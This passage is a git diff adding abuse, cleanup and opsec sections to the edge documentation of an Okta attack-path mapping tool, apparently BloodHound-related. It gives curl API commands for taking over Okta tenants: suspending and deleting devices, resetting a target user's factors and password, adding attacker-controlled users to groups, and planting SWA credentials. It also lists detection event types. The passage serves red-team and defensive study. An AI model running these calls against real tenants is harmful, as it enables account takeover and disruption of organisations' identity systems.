source principal, the destination device ID, and the linked target user ID. + + ```bash + export OKTA_ORG="https://contoso.okta.com" + export OKTA_API_TOKEN="REDACTED" + export DEVICE_ID="guo..." + export TARGET_USER_ID="00u..." + export ATTACKER_DEVICE_ID="guo_attacker..." + ``` + +2. Retrieve the destination device and linked users before changing state. + + ```bash + curl -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/devices/$DEVICE_ID" \ + | jq '{id, status, displayName: .profile.displayName, platform: .profile.platform, registered: .profile.registered, managed: .profile.managed, lastUpdated}' + + curl -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/devices/$DEVICE_ID/users" \ + | jq -r '.[] | [.user.id, .user.profile.login, .managementStatus, .screenLockType] | @tsv' + ``` + +3. Suspend the destination device for a temporary disruption path. + + ```bash + curl -i -sS -X POST \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/devices/$DEVICE_ID/lifecycle/suspend" + ``` + + A successful suspension returns `204 No Content`. The device status should become `SUSPENDED`. + +4. Verify the device state changed. + + ```bash + curl -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/devices/$DEVICE_ID" \ + | jq '{id, status, displayName: .profile.displayName, lastUpdated}' + ``` + +5. If the path requires removing the device-user link or forcing re-enrollment, deactivate the device. + + ```bash + curl -i -sS -X POST \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/devices/$DEVICE_ID/lifecycle/deactivate" + ``` + + A successful deactivation returns `204 No Content`. Deactivation is more disruptive than suspension because it removes device-user links and deactivates Okta Verify factors associated with the device. + +6. Delete the device only when destructive removal is acceptable and the device is already deactivated. + + ```bash + curl -i -sS -X DELETE \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/devices/$DEVICE_ID" + ``` + + A successful deletion returns `204 No Content`. Re-enrollment creates a new device record rather than restoring the deleted one. + +7. If the objective is sign-in as a user from an attacker-controlled device, complete the user-authentication path separately. Mobile Administrator device lifecycle control can change the device side of the policy, but it does not provide the target user's password, session, or authenticator by itself. + +## Cleanup after Abuse + +Cleanup for `Okta_MobileAdmin` restores the exact device lifecycle state changed during abuse, removes attacker-controlled device records or re-enrollments, and repairs any legitimate Okta Verify, device assurance, or device-user links that were broken by suspension, deactivation, or deletion. + +Cleanup using Admin Console: + +1. Open **Directory** > **Devices** and select the destination device. +2. If the destination device was suspended, unsuspend it and confirm the user can use Okta Verify from that device again. +3. If the destination device was deactivated, activate it, then have legitimate users re-enroll or repair Okta Verify factors and desktop certificates as required by the tenant's device workflow. +4. If the destination device was deleted, re-enroll the legitimate device through the normal Okta Verify or device management process. The deleted Universal Directory device record cannot be restored in place. +5. Find and deactivate or delete any attacker-controlled device records enrolled during the operation. +6. Restore any mobile, sign-on, app sign-in, or device assurance policy settings changed to support the path. +7. Verify the legitimate device and linked users satisfy the expected device assurance and app sign-in policy behavior. + +Cleanup using API: + +1. Unsuspend the destination device if it was only suspended. + + ```bash + curl -i -sS -X POST \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/devices/$DEVICE_ID/lifecycle/unsuspend" + ``` + + A successful request returns `204 No Content`. + +2. Activate the destination device if it was deactivated and should remain trusted. + + ```bash + curl -i -sS -X POST \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/devices/$DEVICE_ID/lifecycle/activate" + ``` + +3. If an attacker-controlled device was enrolled, deactivate it and then delete it. + + ```bash + curl -i -sS -X POST \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/devices/$ATTACKER_DEVICE_ID/lifecycle/deactivate" + + curl -i -sS -X DELETE \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/devices/$ATTACKER_DEVICE_ID" + ``` + +4. Verify the legitimate device is active and that the attacker-controlled device is gone. + + ```bash + curl -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/devices/$DEVICE_ID" \ + | jq '{id, status, displayName: .profile.displayName, lastUpdated}' + + curl -i -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/devices/$ATTACKER_DEVICE_ID" + ``` + + If the attacker device was deleted, the verification request should return `404 Not Found`. + +5. Verify the legitimate user's device links are correct. + + ```bash + curl -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/devices/$DEVICE_ID/users" \ + | jq -r '.[] | [.user.id, .user.profile.login, .managementStatus, .screenLockType] | @tsv' + ``` + +6. If the abuse path also used the target user's session or remembered-device state, revoke sessions and remembered factors with an account that has user session management authority. Mobile Administrator device permissions alone may not be sufficient for this endpoint. + + ```bash + curl -i -sS -X DELETE \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/users/$TARGET_USER_ID/sessions?oauthTokens=true&forgetDevices=true" + ``` + +## Opsec Considerations + +Device lifecycle abuse is high-signal in tenants that rely on Okta Verify, FastPass, device assurance, or managed-device policy. Relevant Okta System Log event types include `device.lifecycle.suspend`, `device.lifecycle.unsuspend`, `device.lifecycle.deactivate`, `device.lifecycle.activate`, `device.lifecycle.delete`, `device.user.add`, and `device.user.remove`. + +Suspension and deactivation can also create visible user friction: Okta Verify sessions on the device may terminate, new Okta Verify sessions may fail, and deactivation can remove device-user links and deactivate factors associated with the device. Defenders should correlate device lifecycle events with `policy.evaluate_sign_on`, user sign-in failures, new device enrollments, help desk activity, and app launches from a new device or network. + +## References + +- [Okta mobile administrators](https://help.okta.com/en-us/content/topics/security/administrators-mobile-admin.htm) +- [Okta device lifecycle](https://help.okta.com/oie/en-us/Content/Topics/identity-engine/devices/devices-lifecycle.htm) +- [Okta Devices API](https://developer.okta.com/docs/api/openapi/okta-management/management/tag/Device/) +- [Okta permissions catalog](https://developer.okta.com/docs/api/openapi/okta-management/guides/permissions/) +- [Okta User Sessions API: Revoke all user sessions](https://developer.okta.com/docs/api/openapi/okta-management/management/tag/UserSessions/#tag/UserSessions/operation/revokeUserSessions) +- [Okta System Log event types](https://developer.okta.com/docs/reference/api/event-types/) +- [Okta Terrify](https://github.com/CCob/okta-terrify) diff --git a/descriptions/edges/Okta_OrgAdmin.md b/descriptions/edges/Okta_OrgAdmin.md index 8d44587..f216ca3 100644 --- a/descriptions/edges/Okta_OrgAdmin.md +++ b/descriptions/edges/Okta_OrgAdmin.md @@ -12,3 +12,132 @@ graph LR u1 -- Okta_OrgAdmin --> g1 u1 -- Okta_OrgAdmin --> d1 ``` + +## Abuse Info + +An attacker who controls the source principal can manage most non-role-assignment user, group, device, and organization settings represented by the destination node. Organization Administrators do not have Super Administrator control and cannot normally add or remove administrators. In current Okta documentation, Org Admins are also restricted from managing applications directly, so when this edge is drawn to an application, treat the path as influence through users, groups, policies, or adjacent app-admin permissions unless the tenant confirms broader app capabilities. + +For a user source, sign in as that user. For a group source, compromise any member of the source group. For an application source, authenticate as the service app or client and use its management API access. + +Using the Admin Console: + +1. Authenticate as the source user, as a member of the source group, or as the source service application. +2. If the destination is a user, open **Directory** > **People**, reset the user's password and authenticators, unlock or activate the account, and sign in as that user. +3. If the destination is a group, open **Directory** > **Groups**, add an attacker-controlled user to the group, and refresh the attacker's Okta session to inherit group-based app assignments, policies, or downstream provisioning. +4. If the destination is a device, open the device record, alter or remove the trust record where permitted, and use the resulting device state change to support a broader sign-on or MFA bypass path. +5. If the destination is an application, identify the users or groups that grant access to that application and use Org Admin-controlled user or group changes to obtain access, or pivot to a separate `Okta_AppAdmin` or `Okta_ManageApp` edge for direct app configuration changes. +6. Verify the result by signing in as the controlled user, launching the application granted through the user or group change, or observing the intended device-trust or policy effect. + +Organization Administrators generally cannot assign Super Administrator privileges, but they can often create users, manage groups, reset credentials, manage device state, and make organization-level configuration changes that lead to practical compromise. + +Using the Okta API: + +1. Set the Okta org URL, a token for the source principal, and the destination IDs used by the path. + + ```bash + export OKTA_ORG="https://contoso.okta.com" + export OKTA_API_TOKEN="REDACTED" + export TARGET_USER_ID="00u..." + export TARGET_GROUP_ID="00g..." + export CONTROLLED_USER_ID="00u..." + ``` + +2. For a destination user, reset authenticators and start a password reset. + + ```bash + curl -i -sS -X POST \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/users/$TARGET_USER_ID/lifecycle/reset_factors" + + curl -sS -X POST \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/users/$TARGET_USER_ID/lifecycle/reset_password?sendEmail=false&revokeSessions=true" + ``` + +3. For a destination group, add a controlled user to inherit group-driven access. + + ```bash + curl -i -sS -X PUT \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/groups/$TARGET_GROUP_ID/users/$CONTROLLED_USER_ID" + ``` + +4. For a destination device, use the Devices API to inspect the device and perform the minimum device-state change needed by the attack path. +5. Verify the user, group, or device change with a read request and by exercising the resulting access. + + ```bash + curl -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/groups/$TARGET_GROUP_ID/users?limit=200" \ + | jq -r '.[] | select(.id == env.CONTROLLED_USER_ID)' + ``` + +## Cleanup after Abuse + +Cleanup reverses the specific Org Admin change used for abuse, including temporary users, group-driven app access, authenticators, device state, credentials, and downstream provisioning effects. + +Cleanup using Admin Console: + +1. Reverse the specific object change used for abuse: user takeover, group membership, temporary user creation, device state, or policy-adjacent setting. +2. Restore original user profiles, group memberships, policy-adjacent settings, and device records. +3. Remove temporary credentials or users created during the operation. +4. Clear sessions for users whose credentials or authenticators were changed. +5. Verify downstream provisioning targets have returned to their original state. + +Cleanup using API: + +1. Remove temporary group membership. + + ```bash + curl -i -sS -X DELETE \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/groups/$TARGET_GROUP_ID/users/$CONTROLLED_USER_ID" + ``` + +2. Remove attacker-controlled factors and revoke sessions for user takeover cleanup. + + ```bash + curl -i -sS -X DELETE \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/users/$TARGET_USER_ID/factors/$FACTOR_ID" + + curl -i -sS -X DELETE \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/users/$TARGET_USER_ID/sessions?oauthTokens=true&forgetDevices=true" + ``` + +3. Start a legitimate password reset if the user's password was reset during abuse. + + ```bash + curl -i -sS -X POST \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/users/$TARGET_USER_ID/lifecycle/reset_password?sendEmail=true&revokeSessions=true" + ``` + +4. Use the relevant device, user, group, or policy endpoint to restore the original object configuration. +5. Verify that the temporary user, membership, authenticator, session, and device changes are gone. + +## Opsec Considerations + +Org Admin abuse creates normal administrative telemetry across user lifecycle, password reset, authenticator, group membership, device, and policy-adjacent events. Relevant event types include `user.account.reset_password`, `user.mfa.factor.reset_all`, `user.session.clear`, `group.user_membership.add`, `group.user_membership.remove`, `device.user.add`, `device.user.remove`, and `policy.lifecycle.update`. + +Broad changes from a newly compromised admin are noisy; targeted reset, membership, or device-state actions are less disruptive but still auditable. When the path affects application access through group membership or provisioning, defenders may also see downstream application or SCIM logs. + +## References + +- [Okta Organization administrators](https://help.okta.com/oie/en-us/content/topics/security/administrators-org-admin.htm) +- [Okta Roles in Okta](https://developer.okta.com/docs/api/openapi/okta-management/guides/roles/) +- [Okta Groups API](https://developer.okta.com/docs/api/openapi/okta-management/management/tag/Group/) +- [Okta User Lifecycle API](https://developer.okta.com/docs/api/openapi/okta-management/management/tag/UserLifecycle/) +- [Okta User Factors API](https://developer.okta.com/docs/api/openapi/okta-management/management/tag/UserFactor/) +- [Okta Devices API](https://developer.okta.com/docs/api/openapi/okta-management/management/tag/Device/) +- [Okta System Log event types](https://developer.okta.com/docs/reference/api/event-types/) +- [SpecterOps: Discovering Unexpected Okta Attack Paths with BloodHound](https://specterops.io/blog/2026/03/23/discovering-unexpected-okta-attack-paths-with-bloodhound/) diff --git a/descriptions/edges/Okta_OrgSWA.md b/descriptions/edges/Okta_OrgSWA.md index e736109..39920c8 100644 --- a/descriptions/edges/Okta_OrgSWA.md +++ b/descriptions/edges/Okta_OrgSWA.md @@ -1,6 +1,6 @@ ## General Information -The non-traversable Okta_OrgSWA edges represent the Secure Web Authentication (SWA) relationships between Okta applications and supported external organizations or tenants. SWA stores user credentials in Okta and automatically fills them in when users access the application, which is less secure than federated SSO protocols. +The non-traversable Okta_OrgSWA edges represent Secure Web Authentication relationships between Okta applications and supported external organizations or tenants. SWA stores or submits downstream credentials through Okta instead of using SAML or OIDC federation. ```mermaid graph LR @@ -17,4 +17,167 @@ graph LR end ``` -The respective BloodHound collectors, e.g., OpenHound Github for GitHub organizations and OpenHound Jamf for Jamf Pro tenants, must be used to gather the external node information. +The respective BloodHound collectors, such as OpenHound Jamf for Jamf Pro tenants, must be used to gather the external organization node information. + +## Abuse Info + +An attacker who controls the source SWA application can influence credential submission into the destination organization. An attacker who controls a user assigned to the source SWA application can launch the app and let Okta submit the stored downstream credential. The edge is organization-level, so the final impact depends on which downstream account the assigned user's SWA credential logs in as. + +Unlike `Okta_OutboundOrgSSO`, this edge does not depend on federation claims. The destination organization sees password-based authentication. That makes the stored credential and the destination application's session controls central to the abuse path. + +Using the Admin Console and SWA app: + +1. Gain access to an Okta user assigned to the source SWA application, or gain administrative control of the source app. +2. Open **Applications** > **Applications** and select the SWA application. +3. Review the sign-on mode, target URL, app username format, and who sets the SWA password. +4. If using the assigned-user path, sign in as the assigned user and launch the app from the Okta dashboard or browser plugin. +5. If using the app-admin path, assign a controlled user and set or reset that user's app username and password for the downstream organization. +6. Let Okta submit the stored credentials to the destination organization. +7. Verify the destination organization session, account, group, or role. +8. If tenant settings or browser behavior expose the stored credential, capture it and test direct login to the destination organization. + +Using the Okta API: + +1. Set variables for the source SWA application, controlled Okta user, and SWA credentials. + + ```bash + export OKTA_ORG="https://contoso.okta.com" + export OKTA_API_TOKEN="REDACTED" + export SWA_APP_ID="0oa..." + export CONTROLLED_USER_ID="00u..." + export SWA_USERNAME="admin@example.com" + export TEMP_SWA_PASSWORD="CorrectHorseBatteryStaple!23" + ``` + +2. Retrieve and save the source SWA app configuration. + + ```bash + curl -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/apps/$SWA_APP_ID" \ + | tee /tmp/okta-org-swa-app-original.json \ + | jq '{id, label, name, status, signOnMode, url: .settings.app.url, credentials: .credentials.scheme}' + ``` + +3. Assign the controlled user to the SWA app with a downstream username and password when you have app administration rights. + + ```bash + curl -sS -X POST \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + -H "Content-Type: application/json" \ + -d "{\"id\":\"$CONTROLLED_USER_ID\",\"credentials\":{\"userName\":\"$SWA_USERNAME\",\"password\":{\"value\":\"$TEMP_SWA_PASSWORD\"}}}" \ + "$OKTA_ORG/api/v1/apps/$SWA_APP_ID/users" \ + | jq '{id, status, scope, credentials, profile}' + ``` + +4. Verify the controlled user's SWA app assignment. + + ```bash + curl -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/apps/$SWA_APP_ID/users/$CONTROLLED_USER_ID" \ + | jq '{id, status, scope, credentials, profile}' + ``` + +5. Revoke the controlled user's Okta sessions if you need a clean browser session, then re-authenticate and launch the SWA app. + + ```bash + curl -i -sS -X DELETE \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/users/$CONTROLLED_USER_ID/sessions?oauthTokens=true" + ``` + +6. Complete the SWA launch in a browser and verify the destination organization access with the destination organization's UI or API. + +If the source application is managed by the attacker, they may also be able to change the target URL or credential settings to redirect credential submission. That path is disruptive and more likely to be detected, so save the original app object before changing it. + +## Cleanup after Abuse + +Cleanup for `Okta_OrgSWA` means restoring the source SWA application's URL, credential behavior, app assignments, and app-user credentials, then rotating exposed downstream passwords and revoking destination organization sessions. + +Cleanup using Admin Console: + +1. Open the source SWA application in Okta. +2. Restore the SWA target URL, app username format, sign-on settings, and credential-setting behavior. +3. Remove temporary user or group assignments. +4. Restore legitimate app-user credentials or rotate the downstream password if it was exposed or replaced. +5. Sign out of the destination organization and revoke downstream sessions or tokens. +6. Verify the temporary principal can no longer reach the destination organization. + +Cleanup using API: + +1. Restore the saved source app configuration if URL or app settings changed. + + ```bash + curl -sS -X PUT \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + -H "Content-Type: application/json" \ + -d @/tmp/okta-org-swa-app-original.json \ + "$OKTA_ORG/api/v1/apps/$SWA_APP_ID" \ + | jq '{id, label, status, signOnMode, url: .settings.app.url}' + ``` + +2. Restore the controlled user's SWA app credential if the assignment should remain for a legitimate user. + + ```bash + export RESTORED_SWA_PASSWORD="REDACTED_RESTORED_PASSWORD" + + curl -sS -X POST \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + -H "Content-Type: application/json" \ + -d "{\"credentials\":{\"userName\":\"$SWA_USERNAME\",\"password\":{\"value\":\"$RESTORED_SWA_PASSWORD\"}}}" \ + "$OKTA_ORG/api/v1/apps/$SWA_APP_ID/users/$CONTROLLED_USER_ID" \ + | jq '{id, status, credentials, profile}' + ``` + +3. Remove a temporary app assignment if the controlled user should no longer have SWA access. + + ```bash + curl -i -sS -X DELETE \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/apps/$SWA_APP_ID/users/$CONTROLLED_USER_ID" + ``` + +4. Revoke Okta sessions and OAuth tokens for the controlled user. + + ```bash + curl -i -sS -X DELETE \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/users/$CONTROLLED_USER_ID/sessions?oauthTokens=true" + ``` + +5. Verify the assignment state. + + ```bash + curl -i -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/apps/$SWA_APP_ID/users/$CONTROLLED_USER_ID" + ``` + +6. Use the destination organization's API to revoke password-based sessions, rotate exposed credentials, and confirm the old password no longer works. + +## Opsec Considerations + +SWA app launches are visible in Okta, and the destination organization sees password-based login events from the attacker's browser context. Okta events can include `application.user_membership.show_password`, `application.user_membership.restore_password`, `application.user_membership.update`, `application.user_membership.add`, `application.user_membership.remove`, `policy.evaluate_sign_on`, and `user.authentication.sso`. + +Changing the SWA target URL, setting app-user passwords, or revealing stored credentials can generate obvious administrative telemetry and may break access for legitimate users. Downstream defenders may see a normal password login rather than a federated login, which can make the login look anomalous if the organization usually uses SSO. + +## References + +- [Okta SWA app integrations](https://help.okta.com/oie/en-us/Content/Topics/Apps/apps-about-swa.htm) +- [Okta create SWA app integration guide](https://developer.okta.com/docs/guides/create-an-app-integration/swa/main/) +- [Okta Applications API](https://developer.okta.com/docs/api/openapi/okta-management/management/tag/Application/) +- [Okta Application Users API](https://developer.okta.com/docs/api/openapi/okta-management/management/tag/ApplicationUsers/) +- [Okta Application Groups API](https://developer.okta.com/docs/api/openapi/okta-management/management/tag/ApplicationGroups/) +- [Okta User Sessions API](https://developer.okta.com/docs/api/openapi/okta-management/management/tag/UserSessions/) +- [Okta System Log event types](https://developer.okta.com/docs/reference/api/event-types/) +- [Luke Jennings: Abusing Okta's SWA authentication method](https://pushsecurity.com/blog/okta-swa/) diff --git a/descriptions/edges/Okta_OutboundOrgSSO.md b/descriptions/edges/Okta_OutboundOrgSSO.md index b8af108..38a238a 100644 --- a/descriptions/edges/Okta_OutboundOrgSSO.md +++ b/descriptions/edges/Okta_OutboundOrgSSO.md @@ -1,6 +1,6 @@ ## General Information -The traversable Okta_OutboundOrgSSO edges represent the Single Sign-On (SSO) relationships between Okta applications and supported external organizations or tenants, such as GitHub Enterprise or Jamf Pro, using SAML 2.0 or OIDC protocols. +The traversable Okta_OutboundOrgSSO edges represent federated SSO relationships from Okta applications to supported external organizations or tenants, such as GitHub Enterprise Cloud or Jamf Pro, using protocols such as SAML 2.0 or OIDC. ```mermaid graph LR @@ -24,4 +24,184 @@ graph LR end ``` -The respective BloodHound collectors, e.g., OpenHound Github for GitHub organizations and OpenHound Jamf for Jamf Pro tenants, must be used to gather the external node information. +The respective BloodHound collectors, such as OpenHound GitHub for GitHub organizations and OpenHound Jamf for Jamf Pro tenants, must be used to gather the external node information. + +## Abuse Info + +An attacker who controls the source Okta application can influence how users authenticate to the destination organization. An attacker who controls an assigned Okta user can use the source application to access the destination organization through federated SSO. The edge is organization-level, so the exact privilege depends on the downstream account, group, role, and claim mapping. + +There are two common abuse paths: + +1. User path: compromise or add an Okta user assigned to the source application, then launch SSO into the destination organization. +2. App-admin path: use `Okta_AppAdmin`, `Okta_ManageApp`, `Okta_OrgAdmin`, or `Okta_SuperAdmin` to change SAML/OIDC claims, username mapping, group assignments, or signing material so the destination organization grants elevated access. + +Using the Admin Console: + +1. Identify the Okta application that fronts the destination organization. +2. Gain access to an assigned Okta user, or gain administrative control of the source application. +3. Open **Applications** > **Applications** and select the source application. +4. Review app assignments, sign-on mode, SAML/OIDC settings, username mapping, group claims, and any downstream role mapping. +5. If using the user path, sign in as the assigned user and launch the app. +6. If using the app-admin path, add a controlled user or group assignment and adjust only the claim or group input needed for the downstream role. +7. Complete SSO into the destination organization and verify the downstream organization role, group, or administrative permission. + +Using the Okta API: + +1. Set variables for the source application, controlled user, and optional group used to drive downstream claims. + + ```bash + export OKTA_ORG="https://contoso.okta.com" + export OKTA_API_TOKEN="REDACTED" + export SOURCE_APP_ID="0oa..." + export CONTROLLED_USER_ID="00u..." + export CLAIM_GROUP_ID="00g..." + ``` + +2. Retrieve and save the source app configuration. + + ```bash + curl -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/apps/$SOURCE_APP_ID" \ + | tee /tmp/okta-outbound-org-sso-app-original.json \ + | jq '{id, label, name, status, signOnMode, settings: .settings.signOn}' + ``` + +3. Assign the controlled user directly to the source app if the abuse path requires a temporary app assignment. + + ```bash + curl -sS -X POST \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + -H "Content-Type: application/json" \ + -d "{\"id\":\"$CONTROLLED_USER_ID\"}" \ + "$OKTA_ORG/api/v1/apps/$SOURCE_APP_ID/users" \ + | jq '{id, status, scope, syncState, profile}' + ``` + +4. Add the controlled user to a claim-driving Okta group if the destination organization maps that group claim to privilege. + + ```bash + curl -i -sS -X PUT \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/groups/$CLAIM_GROUP_ID/users/$CONTROLLED_USER_ID" + ``` + +5. Verify the controlled user's app assignment and group membership. + + ```bash + curl -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/apps/$SOURCE_APP_ID/users/$CONTROLLED_USER_ID" \ + | jq '{id, status, scope, syncState, credentials, profile}' + + curl -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/groups/$CLAIM_GROUP_ID/users?limit=200" \ + | jq -r '.[] | select(.id == env.CONTROLLED_USER_ID) | [.id, .profile.login, .status] | @tsv' + ``` + +6. Revoke the controlled user's sessions to force a fresh login and fresh SAML/OIDC claims. + + ```bash + curl -i -sS -X DELETE \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/users/$CONTROLLED_USER_ID/sessions?oauthTokens=true" + ``` + +7. Launch the source app in a browser as the controlled user and verify the downstream organization access. Use the downstream organization's API or admin UI to confirm role and group state because Okta cannot prove how the destination interpreted the assertion. + +Changing the source app's SAML/OIDC endpoints, signing certificates, or claim mapping can be more powerful, but it is also more disruptive. Save the original app object before any change and restore it during cleanup. + +## Cleanup after Abuse + +Cleanup for `Okta_OutboundOrgSSO` means restoring the source application's SAML/OIDC configuration and assignments, removing temporary claim-driving group state, and revoking downstream organization sessions, tokens, users, groups, or roles created by the SSO path. + +Cleanup using Admin Console: + +1. Open the source Okta application. +2. Restore original SAML/OIDC endpoints, signing material, username mapping, claim mappings, and assignments. +3. Remove temporary Okta users or groups used for the SSO flow. +4. Revoke Okta sessions for the controlled user. +5. In the downstream organization, remove temporary users, groups, roles, API tokens, or sessions created by the assertion. +6. Verify the controlled user can no longer reach the destination organization or no longer receives elevated roles. + +Cleanup using API: + +1. Restore the saved source app configuration if sign-on settings or claims changed. + + ```bash + curl -sS -X PUT \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + -H "Content-Type: application/json" \ + -d @/tmp/okta-outbound-org-sso-app-original.json \ + "$OKTA_ORG/api/v1/apps/$SOURCE_APP_ID" \ + | jq '{id, label, status, signOnMode, settings: .settings.signOn}' + ``` + +2. Remove the temporary direct app assignment. + + ```bash + curl -i -sS -X DELETE \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/apps/$SOURCE_APP_ID/users/$CONTROLLED_USER_ID" + ``` + +3. Remove the temporary claim-driving group membership. + + ```bash + curl -i -sS -X DELETE \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/groups/$CLAIM_GROUP_ID/users/$CONTROLLED_USER_ID" + ``` + +4. Revoke Okta sessions and OAuth tokens for the controlled user. + + ```bash + curl -i -sS -X DELETE \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/users/$CONTROLLED_USER_ID/sessions?oauthTokens=true" + ``` + +5. Verify the assignment and group membership are gone. + + ```bash + curl -i -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/apps/$SOURCE_APP_ID/users/$CONTROLLED_USER_ID" + + curl -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/groups/$CLAIM_GROUP_ID/users?limit=200" \ + | jq -r '.[] | select(.id == env.CONTROLLED_USER_ID)' + ``` + +6. Use the downstream organization's API to remove temporary roles, groups, users, sessions, or tokens. + +## Opsec Considerations + +Okta records application assignment changes, group membership changes, app sign-on configuration changes, `policy.evaluate_sign_on`, and SSO launches such as `user.authentication.sso`. The destination tenant records federated login, JIT account creation, group or role assignment, and token issuance. + +Administrative changes to a production SAML/OIDC app are high risk. Signing certificate rotation, ACS/redirect URI changes, username mapping changes, or unusual group claims can break SSO for legitimate users and produce immediate help desk noise. + +## References + +- [Okta SAML SSO integration guide](https://developer.okta.com/docs/guides/build-sso-integration/saml2/main/) +- [Okta OIDC app integration guide](https://developer.okta.com/docs/guides/create-an-app-integration/openidconnect/main/) +- [Okta Applications API](https://developer.okta.com/docs/api/openapi/okta-management/management/tag/Application/) +- [Okta Application Users API](https://developer.okta.com/docs/api/openapi/okta-management/management/tag/ApplicationUsers/) +- [Okta Application Groups API](https://developer.okta.com/docs/api/openapi/okta-management/management/tag/ApplicationGroups/) +- [Okta Group API](https://developer.okta.com/docs/api/openapi/okta-management/management/tag/Group/) +- [Okta User Sessions API](https://developer.okta.com/docs/api/openapi/okta-management/management/tag/UserSessions/) +- [Okta System Log event types](https://developer.okta.com/docs/reference/api/event-types/) diff --git a/descriptions/edges/Okta_OutboundSSO.md b/descriptions/edges/Okta_OutboundSSO.md index 60698f8..f63240f 100644 --- a/descriptions/edges/Okta_OutboundSSO.md +++ b/descriptions/edges/Okta_OutboundSSO.md @@ -1,6 +1,6 @@ ## General Information -The traversable hybrid Okta_OutboundSSO edges represent Single Sign-On relationships between Okta users and their linked accounts in external applications using federated authentication (SAML 2.0 or OIDC). +The traversable hybrid Okta_OutboundSSO edges represent federated single sign-on from Okta users to their linked accounts in external applications using protocols such as SAML 2.0 or OIDC. ```mermaid graph LR @@ -23,3 +23,167 @@ graph LR u2 -- Okta_OutboundSSO --> ghu2 u1 -- Okta_OutboundSSO --> snu1 ``` + +The edge is user-to-user/account: the source Okta user can obtain a federated session as the destination account when the downstream application trusts Okta. + +## Abuse Info + +An attacker who controls the source Okta user can authenticate to the destination external account through Okta SSO. The practical impact depends on the downstream application's account linking, JIT provisioning, SAML/OIDC claims, group-to-role mapping, and local authorization model. + +If the source user is not already assigned to the app, the attacker needs an adjacent path that adds an app assignment or group membership, such as `Okta_AppAssignment`, `Okta_AddMember`, 